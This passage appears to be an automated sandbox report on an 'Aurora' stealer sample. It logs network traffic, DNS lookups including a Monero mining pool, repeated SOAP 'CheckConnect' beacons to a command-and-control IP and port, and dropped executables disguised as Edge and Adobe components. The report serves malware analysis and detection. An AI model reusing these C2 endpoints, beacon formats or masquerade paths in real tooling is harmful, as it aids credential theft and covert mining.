Jul 26, 2024 20:45:54.862070084 CEST	49751	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:54.867084980 CEST	28105	49751	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:58.243510962 CEST	49753	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:45:58.252243042 CEST	55326	49753	192.64.119.108	192.168.2.4
Jul 26, 2024 20:45:58.252943993 CEST	49753	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:45:58.253226995 CEST	49753	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:45:58.265562057 CEST	55326	49753	192.64.119.108	192.168.2.4
Jul 26, 2024 20:45:59.872631073 CEST	49754	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:59.879581928 CEST	28105	49754	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:59.879669905 CEST	49754	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:59.879786968 CEST	49754	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:59.885968924 CEST	28105	49754	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:00.231115103 CEST	49754	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:00.236452103 CEST	28105	49754	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:01.485747099 CEST	28105	49754	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:01.485959053 CEST	49754	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:01.486090899 CEST	49754	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:01.491805077 CEST	28105	49754	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:06.325407028 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:06.330316067 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:06.330429077 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:06.330507994 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:06.335325956 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:06.497958899 CEST	49756	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:06.504251003 CEST	28105	49756	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:06.504327059 CEST	49756	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:06.504458904 CEST	49756	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:06.509788036 CEST	28105	49756	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:06.856163025 CEST	49756	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:06.861515045 CEST	28105	49756	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:06.881800890 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:06.934148073 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:08.090698957 CEST	28105	49756	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:08.090907097 CEST	49756	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:08.090908051 CEST	49756	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:08.096095085 CEST	28105	49756	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:10.873222113 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:11.087570906 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:11.087760925 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:13.107250929 CEST	49757	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:13.112577915 CEST	28105	49757	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:13.112773895 CEST	49757	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:13.112860918 CEST	49757	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:13.117907047 CEST	28105	49757	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:13.465568066 CEST	49757	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:13.471019983 CEST	28105	49757	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:14.752228975 CEST	28105	49757	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:14.752305984 CEST	49757	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:14.752419949 CEST	49757	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:14.757448912 CEST	28105	49757	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:19.628196001 CEST	55326	49753	192.64.119.108	192.168.2.4
Jul 26, 2024 20:46:19.631208897 CEST	49753	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:46:19.631582975 CEST	49753	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:46:19.636986017 CEST	55326	49753	192.64.119.108	192.168.2.4
Jul 26, 2024 20:46:19.763849020 CEST	49758	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:19.769547939 CEST	28105	49758	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:19.771749973 CEST	49758	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:19.771882057 CEST	49758	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:19.776793957 CEST	28105	49758	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:20.121700048 CEST	49758	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:20.128523111 CEST	28105	49758	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:20.765216112 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:20.887367964 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:21.408663988 CEST	28105	49758	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:21.408739090 CEST	49758	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:21.408885956 CEST	49758	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:21.415627003 CEST	28105	49758	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:23.153942108 CEST	49759	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:46:23.161618948 CEST	55713	49759	123.123.123.123	192.168.2.4
Jul 26, 2024 20:46:23.161782026 CEST	49759	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:46:23.162075996 CEST	49759	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:46:23.167179108 CEST	55713	49759	123.123.123.123	192.168.2.4
Jul 26, 2024 20:46:26.422355890 CEST	49760	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:26.427866936 CEST	28105	49760	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:26.427942038 CEST	49760	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:26.428527117 CEST	49760	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:26.433715105 CEST	28105	49760	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:26.777956963 CEST	49760	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:26.783260107 CEST	28105	49760	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:28.032680035 CEST	28105	49760	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:28.035115957 CEST	49760	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:28.035212994 CEST	49760	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:28.042876959 CEST	28105	49760	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:30.736974001 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:30.887248039 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:33.044847965 CEST	49761	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:33.050355911 CEST	28105	49761	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:33.050554991 CEST	49761	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:33.050642967 CEST	49761	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:33.055599928 CEST	28105	49761	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:33.402992964 CEST	49761	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:33.409920931 CEST	28105	49761	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:34.657751083 CEST	28105	49761	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:34.657861948 CEST	49761	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:34.657960892 CEST	49761	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:34.663908005 CEST	28105	49761	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:39.669576883 CEST	49762	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:39.675226927 CEST	28105	49762	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:39.675437927 CEST	49762	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:39.675527096 CEST	49762	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:39.680457115 CEST	28105	49762	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:40.028153896 CEST	49762	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:40.034694910 CEST	28105	49762	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:40.867734909 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:41.090626001 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:41.394109964 CEST	28105	49762	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:41.394309998 CEST	49762	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:41.394413948 CEST	49762	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:41.401443958 CEST	28105	49762	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:44.588124990 CEST	55713	49759	123.123.123.123	192.168.2.4
Jul 26, 2024 20:46:44.588334084 CEST	49759	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:46:44.588834047 CEST	49759	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:46:44.594297886 CEST	55713	49759	123.123.123.123	192.168.2.4
Jul 26, 2024 20:46:46.403759956 CEST	49763	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:46.410058022 CEST	28105	49763	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:46.410156965 CEST	49763	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:46.410274029 CEST	49763	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:46.417475939 CEST	28105	49763	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:46.764991045 CEST	49763	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:46.775279999 CEST	28105	49763	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:48.046340942 CEST	28105	49763	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:48.046437979 CEST	49763	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:48.046520948 CEST	49763	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:48.051994085 CEST	28105	49763	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:48.287163019 CEST	49764	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:46:48.292656898 CEST	55326	49764	192.64.119.108	192.168.2.4
Jul 26, 2024 20:46:48.292865992 CEST	49764	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:46:48.293163061 CEST	49764	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:46:48.298149109 CEST	55326	49764	192.64.119.108	192.168.2.4
Jul 26, 2024 20:46:50.842072964 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:46:50.887268066 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:46:53.059922934 CEST	49765	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:53.066901922 CEST	28105	49765	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:53.066984892 CEST	49765	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:53.067126989 CEST	49765	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:53.074048996 CEST	28105	49765	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:53.418556929 CEST	49765	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:53.423903942 CEST	28105	49765	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:54.696863890 CEST	28105	49765	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:54.696928024 CEST	49765	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:54.697092056 CEST	49765	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:54.702224016 CEST	28105	49765	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:59.700754881 CEST	49766	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:59.855879068 CEST	28105	49766	154.81.220.233	192.168.2.4
Jul 26, 2024 20:46:59.855994940 CEST	49766	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:59.856190920 CEST	49766	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:46:59.865250111 CEST	28105	49766	154.81.220.233	192.168.2.4
Jul 26, 2024 20:47:00.215528965 CEST	49766	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:47:00.221772909 CEST	28105	49766	154.81.220.233	192.168.2.4
Jul 26, 2024 20:47:00.827004910 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:47:00.887247086 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:47:01.471039057 CEST	28105	49766	154.81.220.233	192.168.2.4
Jul 26, 2024 20:47:01.471138000 CEST	49766	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:47:01.471334934 CEST	49766	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:47:01.476174116 CEST	28105	49766	154.81.220.233	192.168.2.4
Jul 26, 2024 20:47:09.714128971 CEST	55326	49764	192.64.119.108	192.168.2.4
Jul 26, 2024 20:47:09.714333057 CEST	49764	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:47:10.850330114 CEST	14444	49755	51.79.71.77	192.168.2.4
Jul 26, 2024 20:47:11.090490103 CEST	49755	14444	192.168.2.4	51.79.71.77
Jul 26, 2024 20:47:18.178010941 CEST	49764	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:47:18.183410883 CEST	55326	49764	192.64.119.108	192.168.2.4
Jul 26, 2024 20:47:18.561255932 CEST	49767	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:47:18.566852093 CEST	28105	49767	154.81.220.233	192.168.2.4
Jul 26, 2024 20:47:18.567785025 CEST	49767	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:47:18.567977905 CEST	49767	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:47:18.573337078 CEST	28105	49767	154.81.220.233	192.168.2.4
Jul 26, 2024 20:47:18.918625116 CEST	49767	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:47:18.924649000 CEST	28105	49767	154.81.220.233	192.168.2.4
Jul 26, 2024 20:47:20.170095921 CEST	28105	49767	154.81.220.233	192.168.2.4
Jul 26, 2024 20:47:20.170176029 CEST	49767	28105	192.168.2.4	154.81.220.233

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 20:45:08.026469946 CEST	58873	53	192.168.2.4	1.1.1.1
Jul 26, 2024 20:45:08.043806076 CEST	53	58873	1.1.1.1	192.168.2.4
Jul 26, 2024 20:45:33.169086933 CEST	58367	53	192.168.2.4	1.1.1.1
Jul 26, 2024 20:45:33.186791897 CEST	53	58367	1.1.1.1	192.168.2.4
Jul 26, 2024 20:46:06.314557076 CEST	62781	53	192.168.2.4	1.1.1.1
Jul 26, 2024 20:46:06.323725939 CEST	53	62781	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 20:45:08.026469946 CEST	192.168.2.4	1.1.1.1	0xa8f8	Standard query (0)	auroraforge.art	A (IP address)	IN (0x0001)	false
Jul 26, 2024 20:45:33.169086933 CEST	192.168.2.4	1.1.1.1	0xe760	Standard query (0)	thesirenmika.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 20:46:06.314557076 CEST	192.168.2.4	1.1.1.1	0x211a	Standard query (0)	xmr-us-east1.nanopool.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 20:45:08.043806076 CEST	1.1.1.1	192.168.2.4	0xa8f8	No error (0)	auroraforge.art	192.64.119.108	A (IP address)	IN (0x0001)	false
Jul 26, 2024 20:45:33.186791897 CEST	1.1.1.1	192.168.2.4	0xe760	No error (0)	thesirenmika.com	123.123.123.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 20:46:06.323725939 CEST	1.1.1.1	192.168.2.4	0x211a	No error (0)	xmr-us-east1.nanopool.org	51.222.106.253	A (IP address)	IN (0x0001)	false
Jul 26, 2024 20:46:06.323725939 CEST	1.1.1.1	192.168.2.4	0x211a	No error (0)	xmr-us-east1.nanopool.org	51.79.71.77	A (IP address)	IN (0x0001)	false
Jul 26, 2024 20:46:06.323725939 CEST	1.1.1.1	192.168.2.4	0x211a	No error (0)	xmr-us-east1.nanopool.org	51.222.200.133	A (IP address)	IN (0x0001)	false
Jul 26, 2024 20:46:06.323725939 CEST	1.1.1.1	192.168.2.4	0x211a	No error (0)	xmr-us-east1.nanopool.org	51.222.12.201	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

154.81.220.233:28105

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:05.513554096 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:12.240715981 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49744	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:19.366971016 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49746	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:26.132781029 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:32.805094004 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:39.971077919 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:46.597177982 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49751	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:53.260888100 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:45:59.879786968 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49756	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:06.504458904 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49757	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:13.112860918 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49758	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:19.771882057 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49760	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:26.428527117 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49761	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:33.050642967 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49762	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:39.675527096 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49763	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:46.410274029 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49765	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:53.067126989 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49766	154.81.220.233	28105	6332	C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:46:59.856190920 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49767	154.81.220.233	28105

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:47:18.567977905 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 154.81.220.233:28105 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Target ID:	0
Start time:	14:45:00
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\Aurora.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Aurora.exe"
Imagebase:	0xa0000
File size:	22'316'547 bytes
MD5 hash:	416DE11D210AE0FF50214021FF57B32B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Aurora, Description: Yara Aurora Stealer, Source: 00000000.00000002.2198132330.000000000A0C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Aurora, Description: Yara Aurora Stealer, Source: 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:45:02
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe"
Imagebase:	0x7ff6c12a0000
File size:	81'920 bytes
MD5 hash:	65F0A85C4B056D6BCEE60C49E2372E35
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 67%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:45:02
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
